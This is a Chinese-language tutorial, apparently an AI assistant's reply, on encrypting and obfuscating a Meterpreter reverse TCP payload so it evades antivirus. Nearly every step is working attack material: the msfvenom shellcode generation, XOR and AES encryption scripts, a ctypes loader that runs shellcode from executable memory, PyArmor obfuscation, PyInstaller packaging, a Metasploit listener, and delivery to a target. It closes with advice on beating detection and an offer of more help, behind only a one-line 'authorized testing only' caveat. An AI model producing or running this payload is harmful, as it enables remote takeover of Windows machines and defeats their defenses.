加密自己的payload
目标
- 生成一个 Windows 64 位 Meterpreter 反向 TCP shellcode。
- 用 Python 加密并混淆 shellcode。
- 打包为 Windows 可执行文件,尽量绕过杀毒软件检测。
假设你在 Kali Linux 上操作,目标系统是 Windows。
步骤清单
步骤 1:生成原始 Shellcode
命令
: 在 Kali 终端运行:
text
CollapseWrapCopy
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -f raw -o shellcode.bin- LHOST=192.168.1.100:替换为你的 Kali IP(用 ip addr 查看)。
- -f raw:生成原始字节格式。
- -o shellcode.bin:保存为文件。
验证
: 检查文件是否生成:
text
CollapseWrapCopy
ls -lh shellcode.bin
步骤 2:用 Python 加密 Shellcode
创建加密脚本
: 在 Kali 上创建一个文件
encrypt_shellcode.py
:
python
CollapseWrapCopy
import base64 # 读取 shellcode with open("shellcode.bin", "rb") as f: shellcode = f.read() # XOR 加密函数 def xor_encrypt(data, key): return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))) # 定义密钥 key = b"secretkey123" # 加密 shellcode encrypted_shellcode = xor_encrypt(shellcode, key) encrypted_shellcode_b64 = base64.b64encode(encrypted_shellcode).decode() # 输出结果 print(f"Encrypted Shellcode (base64): {encrypted_shellcode_b64}") print(f"Key: {key.decode()}")运行脚本
:
text
CollapseWrapCopy
python3 encrypt_shellcode.py输出示例:
text
CollapseWrapCopy
Encrypted Shellcode (base64): QW5kcmV3IFdhcyBoZXJl Key: secretkey123记下
Encrypted Shellcode
和
Key
,后面会用到。
步骤 3:编写加载器(解密并执行)
创建加载器脚本
: 在 Kali 上创建一个文件
loader.py
:
python
CollapseWrapCopy
import base64 import ctypes import time # 加密后的 shellcode 和密钥(从步骤 2 复制) encrypted_shellcode_b64 = "QW5kcmV3IFdhcyBoZXJl" # 替换为你的加密结果 key = b"secretkey123" # 替换为你的密钥 # XOR 解密函数 def xor_decrypt(data, key): return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))) # 模拟正常行为(混淆) time.sleep(2) # 解密 shellcode encrypted_shellcode = base64.b64decode(encrypted_shellcode_b64) shellcode = xor_decrypt(encrypted_shellcode, key) # 分配内存并执行 buf = ctypes.create_string_buffer(shellcode) ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.memmove(ptr, buf, len(shellcode)) func = ctypes.CFUNCTYPE(None)(ptr) func()说明
:
- time.sleep(2):模拟正常程序行为,增加混淆。
- ctypes:调用 Windows API 执行 shellcode。
步骤 4:混淆加载器代码
安装 PyArmor
:
text
CollapseWrapCopy
pip3 install pyarmor混淆脚本
:
text
CollapseWrapCopy
pyarmor obfuscate loader.py- 输出在 dist/loader.py,这是一个混淆后的版本。
检查混淆结果
:
text
CollapseWrapCopy
cat dist/loader.py你会看到变量名和逻辑被重命名,难以阅读。
步骤 5:打包为 Windows 可执行文件
安装 PyInstaller
:
text
CollapseWrapCopy
pip3 install pyinstaller打包混淆后的加载器
:
text
CollapseWrapCopy
pyinstaller -F --hidden-import=ctypes dist/loader.py- -F:生成单个 .exe 文件。
- –hidden-import=ctypes:确保 ctypes 被正确打包。
- 输出文件在 dist/loader.exe。
验证
: 检查生成的文件:
text
CollapseWrapCopy
ls -lh dist/loader.exe
步骤 6:设置监听器
启动 Metasploit
:
text
CollapseWrapCopy
msfconsole配置监听器
: 在
msfconsole
中输入:
text
CollapseWrapCopy
use multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 443 exploit等待目标系统连接。
步骤 7:转移到目标 Windows 系统并运行
转移文件
: 将
dist/loader.exe
转移到目标 Windows 系统:
方法 1:HTTP 服务器
: 在 Kali 上运行:
text
CollapseWrapCopy
python3 -m http.server 8000在 Windows 上用浏览器访问
,下载
loader.exe
。
方法 2:USB: 复制到 U 盘,插入目标系统。
运行
: 在目标 Windows 系统上双击
loader.exe
,或在命令提示符运行:
text
CollapseWrapCopy
loader.exe如果成功,Kali 的监听器会收到 Meterpreter 会话。
步骤 8:测试免杀效果
上传到 VirusTotal: 将 loader.exe 上传到 VirusTotal,检查检测率。
本地测试: 在目标 Windows 系统上运行,观察是否被杀毒软件拦截。
优化
: 如果被检测到:
- 更换密钥(key = b”newkey456”),重新加密和打包。
- 添加更多混淆(如无用循环、假函数)。
- 使用更强加密(如 AES,见下文)。
进阶优化(可选):使用 AES 加密
如果 XOR 不够隐蔽,可以用 AES 替换:
修改加密脚本
python
CollapseWrapCopy
from Crypto.Cipher import AES import base64 with open("shellcode.bin", "rb") as f: shellcode = f.read() key = b"16bytessecretkey" # 16 字节密钥 cipher = AES.new(key, AES.MODE_ECB) padding_length = 16 - (len(shellcode) % 16) shellcode_padded = shellcode + b"\x00" * padding_length encrypted_shellcode = cipher.encrypt(shellcode_padded) encrypted_shellcode_b64 = base64.b64encode(encrypted_shellcode).decode() print(f"Encrypted Shellcode (base64): {encrypted_shellcode_b64}") print(f"Key: {key.decode()}") |
安装依赖:
text
CollapseWrapCopy
pip3 install pycryptodome |
修改加载器
python
CollapseWrapCopy
from Crypto.Cipher import AES import base64 import ctypes import time encrypted_shellcode_b64 = "..." # 替换为新加密结果 key = b"16bytessecretkey" time.sleep(2) encrypted_shellcode = base64.b64decode(encrypted_shellcode_b64) cipher = AES.new(key, AES.MODE_ECB) shellcode_padded = cipher.decrypt(encrypted_shellcode) shellcode = shellcode_padded.rstrip(b"\x00") buf = ctypes.create_string_buffer(shellcode) ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.memmove(ptr, buf, len(shellcode)) func = ctypes.CFUNCTYPE(None)(ptr) func() |
然后重复步骤 4-7。
注意事项
- 网络:确保目标系统能访问 192.168.1.100:443。
- 杀毒软件:不同杀软检测能力不同,可能需多次调整。
- 合法性:仅在授权测试环境使用。
总结
通过这 8 个步骤,你可以:
- 生成 shellcode。
- 加密 shellcode。
- 编写加载器。
- 混淆代码。
- 打包为 .exe。
- 设置监听器。
- 转移并运行。
- 测试和优化。
如果某一步有问题(比如打包失败、被拦截),告诉我,我会帮你调整!